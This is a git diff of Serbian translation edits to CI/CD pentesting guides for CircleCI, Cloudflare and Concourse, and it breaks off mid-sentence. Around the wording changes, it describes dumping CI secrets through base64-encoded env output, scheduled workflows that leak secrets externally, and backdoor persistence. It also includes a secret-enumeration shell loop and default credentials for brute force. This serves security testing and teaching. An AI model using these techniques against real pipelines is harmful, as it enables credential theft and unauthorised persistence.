preko HTTP-a, tada bi webhook secrets mogli biti ukradeni. Omogućite SSL/HTTPS koristeći `--ssl-cert-file` i `--ssl-key-file` zastavice. +Ako koristite webhook secrets, ali je vaš saobraćaj preko HTTP-a, onda bi webhook secrets mogli biti ukradeni. Omogućite SSL/HTTPS koristeći `--ssl-cert-file` i `--ssl-key-file` zastavice. #### Enable Authentication on Atlantis Web Server diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index ad5ba8365..4d3aff4e5 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -9,7 +9,7 @@ ### Permissions **CircleCI** **nasleđuje dozvole** sa github-a i bitbucket-a vezane za **nalog** koji se prijavljuje.\ -U svojim testiranjima proverio sam da, sve dok imate **dozvole za pisanje nad repozitorijumom na github-u**, moći ćete da **upravljate postavkama projekta u CircleCI** (postavite nove ssh ključeve, dobijete api ključeve projekta, kreirate nove grane sa novim CircleCI konfiguracijama...). +U svom testiranju sam proverio da, sve dok imate **dozvole za pisanje nad repozitorijumom na github-u**, moći ćete da **upravljate postavkama projekta u CircleCI** (postavite nove ssh ključeve, dobijete api ključeve projekta, kreirate nove grane sa novim CircleCI konfiguracijama...). Međutim, potrebno je da budete **admin repozitorijuma** kako biste **pretvorili repozitorijum u CircleCI projekat**. @@ -39,7 +39,7 @@ command: echo $SECRET environment: SECRET: A secret ``` -Možete ih deklarisati u čistom tekstu unutar **build-job environment**: +Možete ih deklarisati u čistom tekstu unutar **build-job okruženja**: ```yaml jobs: build-job: @@ -59,8 +59,8 @@ SECRET: A secret ``` #### Tajne informacije projekta -Ovo su **tajne** koje će biti **pristupačne** samo **projektu** (kroz **bilo koju granu**).\ -Možete ih videti **deklarisane na** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ +Ovo su **tajne** koje će biti **pristupačne** samo **projektu** (bilo kojoj **grani**).\ +Možete ih videti **deklarisane u** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ ![](<../images/image (129).png>) @@ -69,19 +69,19 @@ Možete ih videti **deklarisane na** _https://app.circleci.com/settings/project/ #### Tajne informacije konteksta -Ovo su tajne koje su **šire organizacije**. Po **defaultu, svaka repo** će moći da **pristupi bilo kojoj tajni** koja je ovde smeštena: +Ovo su tajne koje su **šire organizacije**. Po **defaultu, svaka repo** će moći da **pristupi bilo kojoj tajni** koja je ovde pohranjena: ![](<../images/image (123).png>) > [!TIP] > Ipak, imajte na umu da se može **izabrati drugačija grupa** (umesto svih članova) kako bi se **pristup tajnama dao samo određenim osobama**.\ -> Ovo je trenutno jedan od najboljih načina da se **poveća sigurnost tajni**, da se ne dozvoli svima da im pristupaju, već samo nekim ljudima. +> Ovo je trenutno jedan od najboljih načina da se **poveća sigurnost tajni**, da se ne dozvoli svima da im pristupe, već samo nekim ljudima. ### Napadi #### Pretraga tajni u čistom tekstu -Ako imate **pristup VCS-u** (kao što je github), proverite datoteku `.circleci/config.yml` svake **repo na svakoj grani** i **pretražite** potencijalne **tajne u čistom tekstu** koje su tamo smeštene. +Ako imate **pristup VCS-u** (kao što je github), proverite datoteku `.circleci/config.yml` svake **repo na svakoj grani** i **pretražite** potencijalne **tajne u čistom tekstu** pohranjene tamo. #### Tajne varijable okruženja i enumeracija konteksta @@ -95,7 +95,7 @@ Proverom koda možete pronaći **sva imena tajni** koja se koriste u svakoj `.ci > [!CAUTION] > Funkcionalnost "**Import Variables**" omogućava **uvoz varijabli iz drugih projekata** u ovaj. Stoga, napadač bi mogao **uvoziti sve projektne varijable iz svih repo** i zatim **ekstrahovati sve njih zajedno**. -Sve tajne projekta su uvek postavljene u env poslova, tako da samo pozivanje env i obfuskacija u base64 će ekstrahovati tajne u **web log konzoli radnih tokova**: +Sve tajne projekta su uvek postavljene u env poslova, tako da samo pozivanje env i obfuscating ga u base64 će ekstrahovati tajne u **web log konzoli radnih tokova**: ```yaml version: 2.1 @@ -143,7 +143,7 @@ jobs: ``` #### Ekstraktovanje Tajni Konteksta -Morate **navesti ime konteksta** (ovo će takođe ekstraktovati tajne projekta): +Morate da **navedete ime konteksta** (ovo će takođe ekstraktovati tajne projekta): ```yaml version: 2.1 @@ -163,7 +163,7 @@ jobs: - exfil-env: context: Test-Context ``` -Ako **nemate pristup web konzoli** ali imate **pristup repozitorijumu** i znate da se koristi CircleCI, možete jednostavno **modifikovati radni tok** koji se **pokreće svake minute** i koji **izvlači tajne na spoljašnju adresu**: +Ako **nemate pristup web konzoli** ali imate **pristup repozitorijumu** i znate da se koristi CircleCI, možete jednostavno **modifikovati radni tok** koji se **pokreće svake minute** i koji **izvlači tajne na eksternu adresu**: ```yaml version: 2.1 @@ -197,9 +197,9 @@ context: Test-Context #### Bekstvo u Cloud **CircleCI** vam daje opciju da pokrenete **svoje buildove na njihovim mašinama ili na svojim**.\ -Po defaultu, njihove mašine se nalaze u GCP-u, i isprva nećete moći da pronađete ništa relevantno. Međutim, ako žrtva pokreće zadatke na **svojim mašinama (potencijalno, u cloud okruženju)**, mogli biste pronaći **cloud metadata endpoint sa zanimljivim informacijama**. +Po defaultu, njihove mašine se nalaze u GCP, i isprva nećete moći da pronađete ništa relevantno. Međutim, ako žrtva pokreće zadatke na **svojim mašinama (potencijalno, u cloud okruženju)**, mogli biste pronaći **cloud metadata endpoint sa zanimljivim informacijama**. -Primetite da je u prethodnim primerima sve pokrenuto unutar docker kontejnera, ali takođe možete **zatražiti da pokrenete VM mašinu** (koja može imati različite cloud dozvole): +Primetite da je u prethodnim primerima sve pokrenuto unutar docker kontejnera, ali takođe možete **tražiti da pokrenete VM mašinu** (koja može imati različite cloud dozvole): ```yaml jobs: exfil-env: @@ -219,7 +219,7 @@ steps: - setup_remote_docker: version: 19.03.13 ``` -#### Persistence +#### Persistencija - Moguće je **napraviti** **korisničke tokene u CircleCI** za pristup API krajnjim tačkama sa korisničkim pristupom. - _https://app.circleci.com/settings/user/tokens_ @@ -227,9 +227,9 @@ version: 19.03.13 - _https://app.circleci.com/settings/project/github/\/\/api_ - Moguće je **dodati SSH ključeve** u projekte. - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- Moguće je **napraviti cron zadatak u skrivenoj grani** u neočekivanom projektu koji **leak** sve **context env** varijable svakog dana. -- Ili čak napraviti u grani / izmeniti poznati zadatak koji će **leak** sve kontekste i **tajne projekata** svakog dana. -- Ako ste vlasnik github-a, možete **dozvoliti neproverene orbe** i konfigurisati jedan u zadatku kao **backdoor**. -- Možete pronaći **ranjivost za injekciju komandi** u nekom zadatku i **injektovati komande** putem **tajne** menjajući njenu vrednost. +- Moguće je **napraviti cron zadatak u skrivenoj grani** u neočekivanom projektu koji **curi** sve **context env** varijable svakog dana. +- Ili čak napraviti u grani / izmeniti poznati zadatak koji će **curiti** sve kontekste i **tajne projekata** svakog dana. +- Ako ste vlasnik github-a, možete **dozvoliti neproverene orbe** i konfigurisati jedan u zadatku kao **zadnja vrata** +- Možete pronaći **ranjivost injekcije komandi** u nekom zadatku i **injektovati komande** putem **tajne** menjajući njenu vrednost {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 36b2c8a54..fe342a95f 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -8,7 +8,7 @@ U Cloudflare nalogu postoje neka **opšta podešavanja i usluge** koja se mogu k ## Websites -Pregledajte svaku sa: +Pregledajte svako sa: {{#ref}} cloudflare-domains.md @@ -18,7 +18,7 @@ cloudflare-domains.md - [ ] U **`Transfer Domains`** proverite da li nije moguće preneti bilo koji domen. -Pregledajte svaku sa: +Pregledajte svako sa: {{#ref}} cloudflare-domains.md @@ -47,8 +47,8 @@ Na svakom Cloudflare radniku proverite: - [ ] Okidače: Šta pokreće radnika? Može li **korisnik poslati podatke** koji će biti **korišćeni** od strane radnika? - [ ] U **`Settings`**, proverite za **`Variables`** koje sadrže **osetljive informacije** - [ ] Proverite **kod radnika** i tražite **ranjivosti** (posebno na mestima gde korisnik može upravljati unosom) -- Proverite za SSRF-ove koji vraćaju označenu stranicu koju možete kontrolisati -- Proverite XSS-ove koji izvršavaju JS unutar svg slike +- Proverite za SSRFs koji vraćaju označenu stranicu koju možete kontrolisati +- Proverite XSS koji izvršavaju JS unutar svg slike - Moguće je da radnik komunicira sa drugim internim uslugama. Na primer, radnik može komunicirati sa R2 bucket-om koji čuva informacije dobijene iz unosa. U tom slučaju, potrebno je proveriti koje mogućnosti radnik ima nad R2 bucket-om i kako bi to moglo biti zloupotrebljeno iz korisničkog unosa. > [!WARNING] @@ -70,7 +70,7 @@ TODO ## Security Center -- [ ] Ako je moguće, pokrenite **`Security Insights`** **skaniranje** i **`Infrastructure`** **skaniranje**, jer će **istaknuti** zanimljive informacije **u vezi sa sigurnošću**. +- [ ] Ako je moguće, pokrenite **`Security Insights`** **skaniranje** i **`Infrastructure`** **skaniranje**, jer će **istaknuti** zanimljive informacije **vezane za sigurnost**. - [ ] Samo **proverite ove informacije** za bezbednosne pogrešne konfiguracije i zanimljive informacije ## Turnstile @@ -93,7 +93,7 @@ cloudflare-zero-trust-network.md ## Notifications -- [ ] Proverite **obaveštenja.** Ova obaveštenja se preporučuju za sigurnost: +- [ ] Proverite **obaveštenja.** Ova obaveštenja se preporučuju za bezbednost: - `Usage Based Billing` - `HTTP DDoS Attack Alert` - `Layer 3/4 DDoS Attack Alert` @@ -113,7 +113,7 @@ cloudflare-zero-trust-network.md - `Script Monitor New Script Exceeds Max URL Length Alert` - `Advanced Security Events Alert` - `Security Events Alert` -- [ ] Proverite sve **destinacije**, jer može biti **osetljivih informacija** (osnovna http autentifikacija) u webhook URL-ovima. Takođe se pobrinite da webhook URL-ovi koriste **HTTPS** +- [ ] Proverite sve **odredišne tačke**, jer može biti **osetljivih informacija** (osnovna http autentifikacija) u webhook URL-ovima. Takođe se pobrinite da webhook URL-ovi koriste **HTTPS** - [ ] Kao dodatnu proveru, mogli biste pokušati da **imitirate Cloudflare obaveštenje** trećoj strani, možda možete nekako **ubaciti nešto opasno** ## Manage Account diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index b72295480..825cf771e 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -1,15 +1,15 @@ -# Cloudflare Domains +# Cloudflare Domeni {{#include ../../banners/hacktricks-training.md}} -U svakom TLD-u konfigurisanom u Cloudflare postoje neka **opšta podešavanja i usluge** koje se mogu konfigurisati. Na ovoj stranici ćemo **analizirati podešavanja vezana za sigurnost svake sekcije:** +U svakoj TLD konfigurisanom u Cloudflare postoje neka **opšta podešavanja i usluge** koje se mogu konfigurisati. Na ovoj stranici ćemo **analizirati podešavanja vezana za sigurnost svake sekcije:**
### Pregled -- [ ] Steknite osećaj o **koliko** se usluga na računu **koristi** -- [ ] Takođe pronađite **zone ID** i **račun ID** +- [ ] Steknite osećaj o **koliko** se usluga na nalogu **koristi** +- [ ] Takođe pronađite **zone ID** i **nalog ID** ### Analitika @@ -20,17 +20,17 @@ U svakom TLD-u konfigurisanom u Cloudflare postoje neka **opšta podešavanja i - [ ] Proverite **zanimljive** (osetljive?) podatke u DNS **rekordima** - [ ] Proverite za **poddomene** koje bi mogle sadržati **osetljive informacije** samo na osnovu **imena** (kao što je admin173865324.domin.com) - [ ] Proverite web stranice koje **nisu** **proksirane** -- [ ] Proverite za **proksirane web stranice** koje se mogu **direktno pristupiti** putem CNAME-a ili IP adrese +- [ ] Proverite za **proksirane web stranice** koje se mogu **direktno pristupiti** putem CNAME ili IP adrese - [ ] Proverite da li je **DNSSEC** **omogućen** - [ ] Proverite da li se **CNAME Flattening** **koristi** u **svim CNAME-ima** - Ovo može biti korisno za **sakrivanje ranjivosti preuzimanja poddomena** i poboljšanje vremena učitavanja -- [ ] Proverite da li domene [**nisu ranjive na spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) +- [ ] Proverite da domene [**nisu ranjive na spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) ### **Email** TODO -### Spectrum +### Spektar TODO @@ -38,7 +38,7 @@ TODO #### **Pregled** -- [ ] **SSL/TLS enkripcija** treba da bude **Puna** ili **Puna (Stroga)**. Svaka druga će slati **saobraćaj u čistom tekstu** u nekom trenutku. +- [ ] **SSL/TLS enkripcija** treba da bude **Puna** ili **Puna (stroga)**. Svaka druga će slati **saobraćaj u čistom tekstu** u nekom trenutku. - [ ] **SSL/TLS Preporučivač** treba da bude omogućen #### Edge Sertifikati @@ -47,8 +47,8 @@ TODO - [ ] **HTTP Stroga Transportna Bezbednost (HSTS)** treba da bude **omogućena** - [ ] **Minimalna TLS verzija treba da bude 1.2** - [ ] **TLS 1.3 treba da bude omogućen** -- [ ] **Automatska HTTPS Prepravka** treba da bude **omogućena** -- [ ] **Praćenje Transparentnosti Sertifikata** treba da bude **omogućeno** +- [ ] **Automatska HTTPS prepravka** treba da bude **omogućena** +- [ ] **Praćenje transparentnosti sertifikata** treba da bude **omogućeno** ### **Sigurnost** @@ -59,13 +59,13 @@ TODO - [ ] U sekciji **`DDoS`** preporučuje se omogućiti **DDoS zaštite** - [ ] U sekciji **`Podešavanja`**: - [ ] Proverite da je **`Nivo sigurnosti`** **srednji** ili veći -- [ ] Proverite da je **`Izazov Prolaz`** 1 sat maksimalno -- [ ] Proverite da je **`Provera Integriteta Pregledača`** **omogućena** -- [ ] Proverite da je **`Podrška za Privatnost Pass`** **omogućena** +- [ ] Proverite da je **`Izazov prolaz`** 1 sat maksimalno +- [ ] Proverite da je **`Provera integriteta pregledača`** **omogućena** +- [ ] Proverite da je **`Podrška za Privacy Pass`** **omogućena** #### **CloudFlare DDoS Zaštita** -- Ako možete, omogućite **Bot Fight Mode** ili **Super Bot Fight Mode**. Ako štitite neki API koji se pristupa programatski (na primer, sa JS front-end stranice). Možda nećete moći da omogućite ovo bez prekidanja tog pristupa. +- Ako možete, omogućite **Bot Fight Mode** ili **Super Bot Fight Mode**. Ako štitite neki API koji se pristupa programatski (na primer, sa JS front end stranice). Možda nećete moći da omogućite ovo bez prekidanja tog pristupa. - U **WAF**: Možete kreirati **ograničenja brzine po URL putanji** ili za **verifikovane botove** (pravila ograničenja brzine), ili da **blokirate pristup** na osnovu IP, kolačića, referera...). Tako možete blokirati zahteve koji ne dolaze sa web stranice ili nemaju kolačić. - Ako je napad od **verifikovanog bota**, barem **dodajte ograničenje brzine** za botove. - Ako je napad na **specifičnu putanju**, kao mehanizam prevencije, dodajte **ograničenje brzine** na ovoj putanji. @@ -73,9 +73,9 @@ TODO - Proverite da li **Upravljana pravila** takođe mogu pomoći u sprečavanju eksploatacije ranjivosti. - U sekciji **Alati** možete **blokirati ili dati izazov specifičnim IP-ovima** i **korisničkim agentima.** - U DDoS-u možete **prepraviti neka pravila da ih učinite restriktivnijim**. -- **Podešavanja**: Postavite **Nivo sigurnosti** na **Visok** i na **Pod Napadom** ako ste Pod Napadom i da je **Provera Integriteta Pregledača omogućena**. -- U Cloudflare Domains -> Analitika -> Sigurnost -> Proverite da li je **ograničenje brzine** omogućeno -- U Cloudflare Domains -> Sigurnost -> Događaji -> Proverite za **otkrivene zlonamerne Događaje** +- **Podešavanja**: Postavite **Nivo sigurnosti** na **Visok** i na **Pod napadom** ako ste pod napadom i da je **Provera integriteta pregledača omogućena**. +- U Cloudflare Domeni -> Analitika -> Sigurnost -> Proverite da li je **ograničenje brzine** omogućeno +- U Cloudflare Domeni -> Sigurnost -> Događaji -> Proverite za **otkrivene zlonamerne događaje** ### Pristup @@ -89,7 +89,7 @@ _Nisam mogao pronaći nijednu opciju vezanu za sigurnost_ ### Keširanje -- [ ] U sekciji **`Konfiguracija`** razmotrite omogućavanje **CSAM Alata za Skener** +- [ ] U sekciji **`Konfiguracija`** razmotrite omogućavanje **CSAM alata za skeniranje** ### **Workers Rute** @@ -109,9 +109,9 @@ TODO TODO -### Prilagođene Stranice +### Prilagođene stranice -- [ ] Opcionalno je konfigurisati prilagođene stranice kada se aktivira greška vezana za sigurnost (kao što je blokada, ograničenje brzine ili sam pod napadom) +- [ ] Opcionalno je konfigurisati prilagođene stranice kada se aktivira greška vezana za sigurnost (kao što su blokada, ograničenje brzine ili sam pod napadom) ### Aplikacije @@ -119,8 +119,8 @@ TODO ### Scrape Shield -- [ ] Proverite da li je **Obfuscation Email Adresa** **omogućena** -- [ ] Proverite da li su **Isključenja na Serverskoj Strani** **omogućena** +- [ ] Proverite da je **Obfuscacija email adresa** **omogućena** +- [ ] Proverite da su **Isključenja sa servera** **omogućena** ### **Zaraz** diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index bbcdc19e8..236d0a3ef 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -27,14 +27,14 @@ Na svakoj aplikaciji: - [ ] Proverite **dostupne provajdere identiteta** i uverite se da **nisu previše otvoreni** - [ ] U **`Settings`**: - [ ] Proverite da **CORS nije omogućen** (ako je omogućen, proverite da je **siguran** i da ne dozvoljava sve) -- [ ] Kolačići bi trebali imati **Strict Same-Site** atribut, **HTTP Only** i **binding cookie** bi trebali biti **omogućeni** ako je aplikacija HTTP. -- [ ] Razmotrite omogućavanje **Browser rendering** za bolju **zaštitu. Više informacija o** [**remote browser isolation ovde**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** +- [ ] Kolačići bi trebali imati **Strict Same-Site** atribut, **HTTP Only** i **binding cookie** bi trebao biti **omogućen** ako je aplikacija HTTP. +- [ ] Razmotrite omogućavanje **Browser rendering** za bolju **zaštitu. Više informacija o** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** #### **Access Groups** - [ ] Proverite da su grupe za pristup generisane **ispravno ograničene** na korisnike kojima bi trebale omogućiti pristup. -- [ ] Posebno je važno proveriti da **podrazumevana grupa za pristup nije previše otvorena** (ne **dozvoljava previše ljudi**) jer je po **podrazumevano** svako u toj **grupi** u mogućnosti da **pristupi aplikacijama**. -- Imajte na umu da je moguće dati **pristup** **SVIMA** i druge **veoma otvorene politike** koje se ne preporučuju osim ako nisu 100% neophodne. +- [ ] Posebno je važno proveriti da **podrazumevana grupa za pristup nije previše otvorena** (ne **dozvoljava previše ljudi**) jer po **podrazumevanoj** postavci svako u toj **grupi** će moći da **pristupi aplikacijama**. +- Imajte na umu da je moguće dati **pristup** **SVIMA** i druge **veoma otvorene politike** koje nisu preporučene osim ako nisu 100% neophodne. #### Service Auth @@ -56,6 +56,6 @@ TODO - [ ] Proverite **tip plana** - [ ] Moguće je videti **ime vlasnika kreditne kartice**, **poslednje 4 cifre**, **datum isteka** i **adresu** -- [ ] Preporučuje se da se **doda isteka korisničkog mesta** kako bi se uklonili korisnici koji zaista ne koriste ovu uslugu +- [ ] Preporučuje se **dodavanje isteka korisničkog mesta** kako bi se uklonili korisnici koji zaista ne koriste ovu uslugu {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index be3722932..0dee45a7c 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Osnovne Informacije +## Osnovne informacije -Concourse vam omogućava da **pravite pipeline-e** za automatsko pokretanje testova, akcija i izgradnju slika kada god vam zatreba (na osnovu vremena, kada se nešto desi...) +Concourse vam omogućava da **pravite pipeline-e** za automatsko pokretanje testova, akcija i izgradnju slika kada god vam zatreba (na osnovu vremena, kada se nešto dogodi...) ## Arhitektura Concourse-a @@ -22,9 +22,9 @@ Saznajte kako možete pokrenuti concourse okruženje lokalno da biste uradili sv concourse-lab-creation.md {{#endref}} -## Enumeracija i Napad na Concourse +## Enumeracija i napad na Concourse -Saznajte kako možete enumerisati okruženje concourse-a i zloupotrebiti ga u: +Saznajte kako možete enumerisati concourse okruženje i zloupotrebiti ga u: {{#ref}} concourse-enumeration-and-attacks.md diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index 582c37d3a..e5203aa8e 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -12,7 +12,7 @@ #### ATC: web UI i raspoređivač gradnje -ATC je srce Concourse-a. Pokreće **web UI i API** i odgovoran je za sve **raspoređivanje** pipeline-a. **Povezuje se sa PostgreSQL**, koji koristi za skladištenje podataka o pipeline-u (uključujući logove gradnje). +ATC je srce Concourse-a. Pokreće **web UI i API** i odgovoran je za sve **raspoređivanje** pipeline-a. **Povezuje se sa PostgreSQL**, koji koristi za čuvanje podataka o pipeline-u (uključujući logove gradnje). Odgovornost [checker-a](https://concourse-ci.org/checker.html) je da kontinuirano proverava nove verzije resursa. [Raspoređivač](https://concourse-ci.org/scheduler.html) je odgovoran za raspoređivanje gradnji za posao, a [traker gradnje](https://concourse-ci.org/build-tracker.html) je odgovoran za pokretanje bilo kojih raspoređenih gradnji. [Sakupljač otpada](https://concourse-ci.org/garbage-collector.html) je mehanizam za čišćenje koji uklanja sve neiskorišćene ili zastarele objekte, kao što su kontejneri i volumeni. @@ -28,8 +28,8 @@ TSA po **default-u sluša na portu `2222`**, i obično je smešten sa [ATC](http Da bi izvršio zadatke, Concourse mora imati neke radnike. Ovi radnici **registruju sebe** putem [TSA](https://concourse-ci.org/internals.html#component-tsa) i pokreću usluge [**Garden**](https://github.com/cloudfoundry-incubator/garden) i [**Baggageclaim**](https://github.com/concourse/baggageclaim). -- **Garden**: Ovo je **API za upravljanje kontejnerima**, obično se pokreće na **portu 7777** putem **HTTP**. -- **Baggageclaim**: Ovo je **API za upravljanje volumenima**, obično se pokreće na **portu 7788** putem **HTTP**. +- **Garden**: Ovo je **Container Manage API**, obično se pokreće na **portu 7777** putem **HTTP**. +- **Baggageclaim**: Ovo je **Volume Management API**, obično se pokreće na **portu 7788** putem **HTTP**. ## Reference diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index b068ae1c2..fee7f8dec 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -17,14 +17,14 @@ Concourse dolazi sa pet uloga: > [!NOTE] > Pored toga, **dozvole uloga owner, member, pipeline-operator i viewer mogu biti modifikovane** konfigurišući RBAC (konfigurišući preciznije njegove akcije). Pročitajte više o tome na: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) -Napomena da Concourse **grupiše pipeline-e unutar timova**. Stoga korisnici koji pripadaju timu će moći da upravljaju tim pipeline-ima i **several Teams** može postojati. Korisnik može pripadati više timova i imati različite dozvole unutar svakog od njih. +Napomena da Concourse **grupiše pipeline-e unutar timova**. Stoga korisnici koji pripadaju timu mogu upravljati tim pipeline-ima i **several Teams** može postojati. Korisnik može pripadati više timovima i imati različite dozvole unutar svakog od njih. ### Vars & Credential Manager U YAML konfiguracijama možete konfigurisati vrednosti koristeći sintaksu `((_source-name_:_secret-path_._secret-field_))`.\ -[Iz dokumenata:](https://concourse-ci.org/vars.html#var-syntax) **source-name je opcionalan**, i ako se izostavi, koristiće se [menadžer kredencijala na nivou klastera](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), ili se vrednost može pružiti [statički](https://concourse-ci.org/vars.html#static-vars).\ +[Iz dokumenata:](https://concourse-ci.org/vars.html#var-syntax) **source-name je opcionalan**, i ako se izostavi, koristiće se [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), ili se vrednost može pružiti [statički](https://concourse-ci.org/vars.html#static-vars).\ **Opcionalni \_secret-field**\_ specificira polje na preuzetom tajnom podatku koje treba pročitati. Ako se izostavi, menadžer kredencijala može izabrati da pročita 'podrazumevano polje' iz preuzetog kredencijala ako polje postoji.\ -Pored toga, _**secret-path**_ i _**secret-field**_ mogu biti okruženi dvostrukim navodnicima `"..."` ako **sadrže specijalne karaktere** kao što su `.` i `:`. Na primer, `((source:"my.secret"."field:1"))` će postaviti _secret-path_ na `my.secret` i _secret-field_ na `field:1`. +Pored toga, _**secret-path**_ i _**secret-field**_ mogu biti okruženi dvostrukim navodnicima `"..."` ako **sadrže posebne karaktere** kao što su `.` i `:`. Na primer, `((source:"my.secret"."field:1"))` će postaviti _secret-path_ na `my.secret` i _secret-field_ na `field:1`. #### Static Vars @@ -34,7 +34,7 @@ Statičke varijable mogu biti specificirane u **koracima zadataka**: file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` -Or korišćenjem sledećih `fly` **argumenata**: +Ili koristeći sledeće `fly` **argumente**: - `-v` ili `--var` `NAME=VALUE` postavlja string `VALUE` kao vrednost za var `NAME`. - `-y` ili `--yaml-var` `NAME=VALUE` parsira `VALUE` kao YAML i postavlja ga kao vrednost za var `NAME`. @@ -43,31 +43,31 @@ Or korišćenjem sledećih `fly` **argumenata**: #### Upravljanje akreditivima -Postoje različiti načini na koje se **Upravljač akreditivima može specificirati** u pipeline-u, pročitajte kako na [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ +Postoje različiti načini na koje se **Upravljač akreditivima može specificirati** u pipeline-u, pročitajte kako u [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ Pored toga, Concourse podržava različite upravljače akreditivima: -- [Upravljač akreditivima Vault](https://concourse-ci.org/vault-credential-manager.html) -- [Upravljač akreditivima CredHub](https://concourse-ci.org/credhub-credential-manager.html) -- [Upravljač akreditivima AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html) -- [Upravljač akreditivima AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html) -- [Upravljač akreditivima Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html) -- [Upravljač akreditivima Conjur](https://concourse-ci.org/conjur-credential-manager.html) -- [Keširanje akreditiva](https://concourse-ci.org/creds-caching.html) -- [Redigovanje akreditiva](https://concourse-ci.org/creds-redacting.html) -- [Ponovno pokušavanje neuspešnih preuzimanja](https://concourse-ci.org/creds-retry-logic.html) +- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) +- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) +- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html) +- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html) +- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html) +- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html) +- [Caching credentials](https://concourse-ci.org/creds-caching.html) +- [Redacting credentials](https://concourse-ci.org/creds-redacting.html) +- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] > Imajte na umu da ako imate neku vrstu **pristupa za pisanje Concourse-u** možete kreirati poslove za **ekstrakciju tih tajni** jer Concourse mora imati mogućnost pristupa njima. ### Concourse Enumeracija -Da biste enumerisali Concourse okruženje, prvo morate **prikupiti važeće akreditive** ili pronaći **autentifikovani token** verovatno u `.flyrc` konfiguracionom fajlu. +Da biste enumerisali Concourse okruženje, prvo morate **prikupiti važeće akreditive** ili pronaći **autentifikovani token**, verovatno u `.flyrc` konfiguracionom fajlu. #### Prijava i trenutni korisnik enum - Da biste se prijavili, morate znati **endpoint**, **ime tima** (podrazumevano je `main`) i **tim kojem korisnik pripada**: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` -- Dobijte konfigurirane **ciljeve**: +- Dobijte konfigurisane **ciljeve**: - `fly targets` - Proverite da li je konfigurisana **veza sa ciljem** još uvek **važeća**: - `fly -t status` @@ -86,15 +86,15 @@ Da biste enumerisali Concourse okruženje, prvo morate **prikupiti važeće akre - Dobijte listu korisnika - `fly -t active-users` -#### Pipelines +#### Pipeline-i -- **Lista** pipelines: +- **Lista** pipeline-a: - `fly -t pipelines -a` - **Dobijte** pipeline yaml (**osetljive informacije** mogu se naći u definiciji): - `fly -t get-pipeline -p ` -- Dobijte sve **konfiguracione varijable** pipeline-a +- Dobijte sve **konfigurisane var** pipeline-a - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- Dobijte sve **nazive tajnih pipeline-a** (ako možete kreirati/izmeniti posao ili preuzeti kontejner, mogli biste ih ekstraktovati): +- Dobijte sve **nazive tajni pipeline-a** koje se koriste (ako možete kreirati/modifikovati posao ili preuzeti kontejner, mogli biste ih ekstraktovati): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do @@ -118,7 +118,7 @@ rm /tmp/secrets.txt ### Concourse Napadi -#### Brute-Force Akcija na Kredencijale +#### Brute-Force Akreditivi - admin:admin - test:test @@ -129,7 +129,7 @@ U prethodnom odeljku smo videli kako možete **dobiti sve nazive i varijable taj #### Sesija unutar pokrenutog ili nedavno pokrenutog kontejnera -Ako imate 